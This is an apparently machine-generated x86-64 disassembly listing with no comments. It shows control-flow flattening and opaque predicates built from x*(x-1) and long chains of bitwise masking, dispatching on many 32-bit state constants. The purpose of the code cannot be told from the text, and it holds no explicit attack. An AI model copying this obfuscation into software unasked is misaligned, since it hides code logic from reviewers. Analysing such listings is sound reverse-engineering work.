jg 0x1400b49d5
cmp ecx, 0x7205977b
je 0x1400b8fb0
cmp ecx, 0x72815ed1
jne 0x1400adc00
mov ecx, 0x29c0bfb5
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xb429f3ea
jg 0x1400b4aed
cmp ecx, 0xb1b866c6
je 0x1400b8fc6
cmp ecx, 0xb277d6c7
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x400f12e
mov ebp, ecx
and ebp, 0x22280050
or ebp, edx
xor ebp, 0x22280050
and ecx, 0xd9d70e81
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd9d70e81
and ecx, 0x2628f17e
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xe39e0dbe
and ecx, 0x1c61f241
or ecx, ebp
xor ecx, 0x1c61f240
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xd6ad7607
and edx, 0x295289f8
or edx, ebp
xor edx, 0x295289f8
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov eax, ecx
xor al, bl
not al
and al, bl
or bl, cl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xeced332a
mov ebp, 0xe0880bd6
cmovne ecx, ebp
test al, 1
mov eax, 0xeced332a
jmp 0x1400adbec
cmp ecx, 0xf2d989f8
jg 0x1400b4c97
cmp ecx, 0xf06ac166
je 0x1400b910f
cmp ecx, 0xf1caba87
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
and ecx, 0x50270015
mov edx, edi
and edx, 0x80801322
or edx, ecx
xor edx, 0x80801322
and edi, 0x2f58ecc8
or edi, edx
mov ecx, edi
not ecx
and ecx, 0x2f58ecc8
and edi, 0xd0a71337
or edi, ecx
mov edx, edi
not edx
mov ebp, edi
xor ebp, 0xc94847b7
and ebp, edx
mov esi, edx
or esi, 0xc94847b7
mov ebx, esi
not ebx
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0xa581dfa
and ebp, 0xf5a7e205
or ebp, eax
or ecx, esi
and esi, 0xa581dfa
and ebx, 0x34a7a000
or ebx, esi
xor ebx, ebp
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x7ea817ae
and ecx, 0x8157e851
or ecx, eax
mov ebx, ecx
xor ebx, 0x40018603
and edi, 0x46dc95f6
mov eax, edx
and eax, 0xb9236a09
or eax, edi
xor eax, 0x46dc95f7
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x35eede15
and edx, 0xca1121ea
or edx, eax
mov eax, edx
xor eax, 0x4001000a
xor ecx, 0xb7e05018
xor edx, 0x35eede15
mov ebp, ecx
and ebp, 0x9bbe69f4
and ebx, 0x6441960b
or ebx, ebp
or ecx, edx
and edx, 0x9bbe69f4
and eax, 0x6441960b
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xf90b95a2
and eax, ecx
or ecx, 0x6f46a5d
mov edx, ecx
not edx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x502695bc
and edx, 0xa9090002
or edx, ebx
or ecx, ebp
and ebp, 0x502695bc
and eax, 0xafd96a43
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5d41ae88
and ecx, 0xa2be5177
or ecx, eax
mov eax, ecx
xor eax, 0x41854041
xor ecx, 0x20401a02
and ecx, 0x3a709e96
and eax, 0xc58f6169
or eax, ecx
mov ecx, eax
xor ecx, 0x448a4028
xor eax, 0x2008216
and eax, 0x8305a357
and ecx, 0x7cfa5ca8
or ecx, eax
mov eax, ecx
xor eax, 0x304a106
xor ecx, 0x20285400
and ecx, 0xa0295651
and eax, 0x5fd6a9ae
or eax, ecx
xor eax, 0x5fd6a9ae
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov ebx, eax
and bl, cl
mov r11d, eax
xor r11b, cl
or r11b, bl
mov r8d, r11d
xor r8b, 1
xor al, r10b
not al
and al, r10b
xor cl, r9b
not cl
and cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, al
xor bl, 1
or bl, dl
and r11b, bl
xor bl, 1
and bl, r8b
or bl, r11b
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x8ae5d361
mov edx, 0x80eb21b3
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, 1
mov eax, 0x8ae5d361
jmp 0x1400bc0e6
cmp ecx, 0x3ac2fb60
jg 0x1400b4e48
cmp ecx, 0x3214942a
je 0x1400b922d
cmp ecx, 0x32488b12
jne 0x1400adc00
mov ecx, 0x19151d05
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xeba495
jg 0x1400b4e76
cmp ecx, 0xfdcf025c
je 0x1400b930e
cmp ecx, 0xfffea760
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x8a0c0241
mov ebp, ebx
and ebp, 0x6042d500
or ebp, edx
xor ebp, 0x6042d500
mov edx, ebx
xor edx, 0xea4ed741
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xbff2e7f4
and edx, 0x400d180b
or edx, ebp
mov ebp, edx
xor ebp, 0x8a418801
xor edx, 0x55bc30b4
mov edi, edx
and edi, 0x6086574a
and ebp, 0x9f79a8b5
or ebp, edi
and ebx, 0x6086574a
and ecx, 0x9f79a8b5
or ecx, ebx
xor ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov r11d, r10d
or r11b, al
mov ecx, r10d
xor cl, al
mov edx, ecx
not dl
and dl, al
mov ebx, r11d
xor bl, dl
xor dl, 1
xor bl, 1
or dl, r11b
xor dl, 1
or dl, bl
and cl, al
and r9b, r8b
and al, r10b
or al, r9b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x6f9407b1
mov ecx, 0x1dea9077
cmovne ebp, ecx
test al, 1
mov ecx, 0x6f9407b1
cmovne ecx, ebp
test dl, 1
jmp 0x1400bb784
cmp ecx, 0x49bc2ad5
jg 0x1400b4f4c
cmp ecx, 0x465f8d84
je 0x1400b947d
cmp ecx, 0x47e3db55
jne 0x1400adc00
mov ecx, 0xe06b6d05
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x8c1604c5
jg 0x1400b5059
cmp ecx, 0x8b80cd8b
je 0x1400b9651
cmp ecx, 0x8be9b3ed
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xe190ac75
and edx, ebp
not ebp
and ebp, 0x1902871
and ecx, 0xe0008404
or ecx, ebp
xor ecx, 0xe0008404
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x1e6f538a
and edx, 0xe190ac75
or edx, ecx
mov ebp, edx
mov ecx, edx
xor ecx, 0x933a40dc
and ecx, edx
not edx
and edx, 0xf29a16af
and ebp, 0xd65e950
or ebp, edx
mov ebx, ebp
xor ebx, 0xd65e950
xor ebp, 0x20881680
mov edx, ebx
and edx, 0x933a40dc
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x6cc5bf22
and ecx, 0x933a40dd
or ecx, edx
and ebp, 0x20a83fd0
mov edx, ebx
and edx, 0xdf57c02f
or edx, ebp
xor edx, 0x20a83fd1
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, ebp
and edi, 0xa1eac521
and ecx, 0x5e153ade
or ecx, edi
or ebp, ebx
and ebx, 0xa1eac521
and edx, 0x5e153ade
or edx, ebx
xor edx, ecx
not ebp
or ebp, edx
mov ecx, ebp
mov edx, ebp
xor edx, 0x64b91c28
and edx, ebp
not ebp
and ebp, 0xb91400
and ecx, 0x64000828
or ecx, ebp
xor ecx, 0x64000828
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xe3a09fcb
and edx, 0x1c5f6034
or edx, ecx
xor edx, 0x78e67c1c
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, r9d
xor dl, al
mov ecx, edx
and cl, r9b
and dl, al
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
or al, r9b
xor al, 1
xor bl, r8b
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor dl, 1
mov eax, edx
or al, bl
xor dl, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x19151d05
mov ecx, 0x32488b12
cmovne ebp, ecx
test dl, dl
mov ecx, ebp
mov edx, 0x19151d05
cmovne ecx, edx
test al, al
jmp 0x1400bb63b
cmp ecx, 0xc9d49a0c
jg 0x1400b5183
cmp ecx, 0xc9689d27
je 0x1400b979f
cmp ecx, 0xc987088f
jne 0x1400adc00
mov ecx, 0x5be6b49f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x6fa6b60e
jg 0x1400b52aa
cmp ecx, 0x6ed46666
je 0x1400b97b5
cmp ecx, 0x6f9407b1
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x15c916f4
mov ebp, ebx
and ebp, 0xea36e90a
or ebp, ecx
xor ebp, 0xea36e90a
mov ecx, ebx
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, ecx
and edi, 0x13d78011
and ebp, 0xec287fee
or ebp, edi
or ecx, ebx
and ebx, 0x13d78011
and edx, 0xec287fee
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xce862af6
and ecx, 0x3179d509
or ecx, edx
xor ecx, 0x3179d509
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
and al, r8b
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov r8d, ebx
and r8b, dl
mov ecx, edx
xor cl, al
or al, dl
xor dl, 1
xor bl, 1
and bl, dl
or bl, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x3214942a
mov ecx, 0x1dea9077
cmovne edx, ecx
test al, 1
mov ecx, 0x3214942a
jmp 0x1400bbc81
cmp ecx, 0xadfa5a6f
jg 0x1400b53da
cmp ecx, 0xac01795a
je 0x1400b9897
cmp ecx, 0xac362295
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xcb53da83
and ecx, ebp
mov edx, ebp
or edx, 0x34ac257c
mov edi, ecx
not edi
mov esi, edx
and esi, 0x9e9be9d4
mov ebx, eax
and ebx, 0x41401203
or ebx, esi
or edx, edi
and edi, 0x9e9be9d4
and ecx, 0x6164162b
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa2b54e29
and edx, 0x5d4ab1d6
or edx, ecx
mov ecx, edx
xor ecx, 0x96196b54
xor edx, 0x9c60420
mov ebx, ecx
and ebx, 0x6238b18b
and edx, 0x9dc74e74
or edx, ebx
or ecx, ebp
and ebp, 0x6238b18b
and eax, 0x9dc74e74
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne r9b
sete bl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl r8b
mov r10d, ebx
xor r10b, r9b
and r10b, bl
mov ecx, edx
and cl, r10b
not r10b
and r10b, r8b
or r10b, cl
mov ecx, edx
xor cl, bl
and cl, dl
and r9b, r8b
and dl, bl
or dl, r9b
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, r10d
and dl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
mov r9d, r10d
xor r9b, cl
or cl, r10b
xor r10b, 1
and al, r10b
xor al, 1
mov ebx, eax
xor bl, r10b
or al, r10b
xor al, 1
or al, bl
or dl, r8b
xor dl, al
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x72a15d87
mov ebp, 0x58e5e47a
cmovne eax, ebp
test cl, 1
mov ecx, 0x72a15d87
jmp 0x1400bb907
cmp ecx, 0xe98f9bd2
jg 0x1400b5616
cmp ecx, 0xe902b875
je 0x1400b9a2a
cmp ecx, 0xe972bf51
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x29235e85
and ecx, edx
not edx
and edx, 0x29235e85
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x46e4cc69
and ecx, 0xb91b3396
or ecx, edx
mov edx, ecx
xor edx, 0x90386d13
mov ebp, ecx
xor ebp, 0x60851248
and ebp, 0x709d3348
xor ecx, 0x3f55f1a5
and ecx, edx
and edx, 0x8f62ccb7
or edx, ebp
mov edi, edx
xor edi, 0x8f62ccb7
mov ebx, edi
and ebx, 0xaf6d9cb6
mov ebp, ebx
and ebp, ecx
xor ecx, ebx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x894f6f18
and ecx, 0x76b090e7
or ecx, ebp
mov ebp, ecx
xor ebp, 0x19110450
and edi, 1
xor edx, 0x8f62ccb6
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x836f90f3
and edx, 0x7c906f0c
or edx, ebx
mov ebx, edx
xor ebx, 0x1c100408
xor edx, 0x836f90f3
xor ecx, 0x2622f3af
mov edi, ecx
and edi, 0xe2cceb24
and ebp, 0x1d3314db
or ebp, edi
or ecx, edx
and edx, 0xe2cceb24
and ebx, 0x1d3314db
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x250372ce
and ecx, 0xdafc8d31
or ecx, edx
mov ebx, ecx
xor ebx, 0x880901
xor ecx, 8
or ebp, 0xcec8594f
mov edx, ebp
not edx
or ecx, 0x11310080
and ecx, 0xdb710088
and ebx, 0x4885947
or ebx, ecx
and ebp, 0xdb710088
and edx, 0x2006a630
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x3137a6b0
and edx, 0xcec8594f
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x87e0e8e2
and ecx, 0x781f171d
or ecx, edx
xor ecx, 0x87e0e8e2
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
mov ecx, eax
not cl
and bl, dl
or bl, r8b
mov edx, ebx
xor dl, 1
and bl, al
or al, dl
and dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, dl
mov ecx, 0x637a602f
mov edx, 0xafe4d895
cmovne ecx, edx
test al, al
mov eax, 0x637a602f
cmovne ecx, eax
jmp 0x1400bbc84
cmp ecx, 0x18098c68
je 0x1400b9b7c
cmp ecx, 0x1853bf8f
je 0x1400b9d38
cmp ecx, 0x19151d05
jne 0x1400adc00
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x6e5ae2f0
mov edx, ebp
xor edx, 0x6e5ae2f0
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x91a51d0e
and edx, 0x6e5ae2f1
or edx, ebx
mov ebx, edx
not ebx
mov edi, edx
and edi, 0x6fad7404
and ebx, 0x90528bfb
or ebx, edi
or edx, ebp
and ebp, 0x6fad7404
and eax, 0x90528bfb
or eax, ebp
xor eax, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov ebx, r10d
xor bl, al
and bl, r10b
mov edx, r9d
xor dl, r8b
and dl, r9b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
xor cl, 1
mov ebx, ecx
xor bl, dl
not bl
and bl, dl
or cl, dl
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
and r8b, r10b
or r10b, r9b
xor r10b, 1
and al, r9b
or al, r8b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
not cl
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
xor bl, 1
mov eax, ebx
or al, cl
xor bl, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x3fec0d4
mov ecx, 0x32488b12
cmovne edx, ecx
test bl, 1
mov ecx, edx
mov ebp, 0x3fec0d4
cmovne ecx, ebp
jmp 0x1400b874b
cmp ecx, 0x1276a401
je 0x1400b5bea
cmp ecx, 0x169b6df2
jne 0x1400adc00
mov ecx, 0xc5a37c5c
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x5ab5cf4c
je 0x1400b9d4e
cmp ecx, 0x5be6b49f
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6c25bf80
mov ebx, ecx
and ebx, 0x93da407e
or ebx, ebp
xor ebx, 0x93da407e
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0x8caa3d31
and ecx, 0x7355c2ce
or ecx, edx
mov edx, ecx
xor edx, 0x7355c2ce
xor ecx, 0x8caa3d31
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
xor ebp, ecx
test ebp, ecx
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, edx
xor cl, al
and dl, cl
and al, cl
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
mov edx, r8d
xor dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
xor bl, al
and al, bl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0xa427a761
mov ebp, 0xc987088f
cmovne ecx, ebp
test al, al
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0xa427a761
jmp 0x1400bbe07
cmp ecx, 0x9c8de0fb
je 0x1400b9e4a
cmp ecx, 0x9e0b67ba
jne 0x1400adc00
mov rax, qword [rsp + 0x38]
mov qword [0x14024b058], rax
mov ecx, 0x2234f45a
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xd7d021e1
je 0x1400b9e60
cmp ecx, 0xd7f858ed
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
cmp dword [0x14024b72c], 0xa
setl bl
mov eax, ebx
xor al, r8b
mov edx, ebx
xor dl, al
not dl
and dl, al
or r8b, bl
not al
and al, bl
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
xor cl, dl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x586c7e1d
mov ebp, 0x73593862
cmovne eax, ebp
test cl, 1
cmovne eax, ebp
not dl
test dl, 1
mov ecx, 0x586c7e1d
jmp 0x1400adbf2
cmp ecx, 0x796eb76c
je 0x1400b9e76
cmp ecx, 0x7bdba1d5
jne 0x1400adc00
mov ecx, 0xe902b875
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xbda4476a
je 0x1400b9e8c
cmp ecx, 0xbe376c81
jne 0x1400adc00
mov ecx, 0x2c51cbd3
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xf6ae98e5
je 0x1400b9fd4
cmp ecx, 0xf923f864
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov edx, esi
or edx, 0x5de11847
mov ebp, edx
not ebp
mov edi, ecx
or edi, 0x146718
and edi, 0x49b47f1a
mov ebx, esi
and ebx, 0x14410045
or ebx, edi
and edx, 0x49b47f1a
and ebp, 0xa20a80a0
or ebp, edx
xor ebp, ebx
mov edx, ebp
not edx
and edx, 0x6e183012
and ebp, 0x91e7cfed
or ebp, edx
mov edx, ebp
xor edx, 0x4406c5a0
xor ebp, 0x2f92000
and ebp, 0x8af9320b
and edx, 0x7506cdf4
or edx, ebp
xor edx, 0x7506cdf4
and esi, 0x8920113a
and ecx, 0x76dfeec5
or ecx, esi
xor ecx, 0x76dfeec5
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1b03a639
and ecx, 0xe4fc59c6
or ecx, edx
xor ecx, 0xe4fc59c6
sete cl
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
and al, r9b
mov ebx, r8d
or bl, al
xor al, 1
or al, cl
mov r10d, eax
xor r10b, bl
or al, bl
xor al, 1
or al, r10b
and r9b, r8b
and cl, dl
or cl, r9b
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
mov r8d, ecx
mov ebx, edx
xor dl, cl
xor cl, 1
and r8b, al
and bl, cl
or bl, r8b
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x25c6027f
mov edx, 0xfd3dde45
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x25c6027f
jmp 0x1400bc0e6
cmp ecx, 0x27a052f8
je 0x1400b9ffe
cmp ecx, 0x28970dc2
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x4265771a
and ebp, 0xbd9a88e5
or ebp, edi
or eax, ebx
and ebx, 0x4265771a
and edx, 0xbd9a88e5
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov ebp, eax
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and eax, 1
or eax, ebp
mov ebp, eax
not ebp
mov edi, edx
and edi, 0x166be3ec
and ebx, 0xe9941c12
or ebx, edi
or edx, ebp
and ebp, 0x166be3ec
and eax, 0xe9941c13
or eax, ebp
xor eax, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r11b
mov ecx, r10d
xor cl, r8b
and cl, r10b
mov ebx, ecx
xor bl, 1
and cl, bl
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
xor cl, r11b
mov r9d, ecx
xor r9b, 1
and r8b, r11b
and al, r10b
or al, r8b
mov ebx, r11d
and bl, r10b
xor r11b, r10b
or r11b, bl
mov edx, r11d
xor dl, al
xor al, 1
xor dl, 1
or al, r11b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
and dl, cl
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0xc7292a84
mov ecx, 0x4de1cede
cmovne ebp, ecx
test al, 1
mov ecx, 0xc7292a84
jmp 0x1400baff8
cmp ecx, 0x660f0ad
je 0x1400ba1dc
cmp ecx, 0x95658ec
jne 0x1400adc00
mov ecx, 0x57d178cf
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x3db0aaf5
je 0x1400ba37a
cmp ecx, 0x3df14977
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x7baec0ef
and edx, ecx
or ecx, 0x84513f10
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x800ee5f
and ebp, 0x73ae00a0
or ebp, edi
or ecx, ebx
and ebx, 0x800ee5f
and edx, 0xf7ff11a0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3802d6a4
and ecx, 0xc7fd295b
or ecx, edx
mov edx, ecx
xor edx, 0xbc53e9b4
mov ebp, ecx
xor ebp, 0xbc53e9b5
and ebp, edx
xor ecx, 0x18c1600
and ecx, 0x35ce9fa0
and edx, 0xca31605f
or edx, ecx
xor edx, 0xca31605e
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0x161e9e4e
and ebp, edx
not edx
and edx, 0xb0a488ab
and ecx, 0x4f5b7754
or ecx, edx
mov edx, ecx
xor edx, 0x41a0444
xor ecx, 0x1004880a
or ecx, 0xe9e161b1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x8aa5fa1a
and edx, 0x141a0444
or edx, edi
or ecx, ebx
and ebx, 0x8aa5fa1a
and ebp, 0x755a05e5
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe9e161b1
and ecx, 0x161e9e4e
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc54e55bf
and ecx, 0x3ab1aa40
or ecx, ebp
xor ecx, 0x3ab1aa40
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor dl, al
xor dl, 1
xor al, r8b
xor al, 1
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
or al, bl
xor bl, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x3c8e0330
mov edx, 0x1a774f88
cmovne ecx, edx
test bl, 1
mov edx, ecx
mov ebp, 0x3c8e0330
jmp 0x1400b5609
cmp ecx, 0x8473fc34
je 0x1400ba468
cmp ecx, 0x86b65f0a
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x35c68354
and ebp, ecx
or ecx, 0xca397cab
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x522642c8
and edx, 0x25c08114
or edx, edi
or ecx, ebx
and ebx, 0x522642c8
and ebp, 0xadd9bd37
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xca397cab
and ecx, 0x35c68354
or ecx, edx
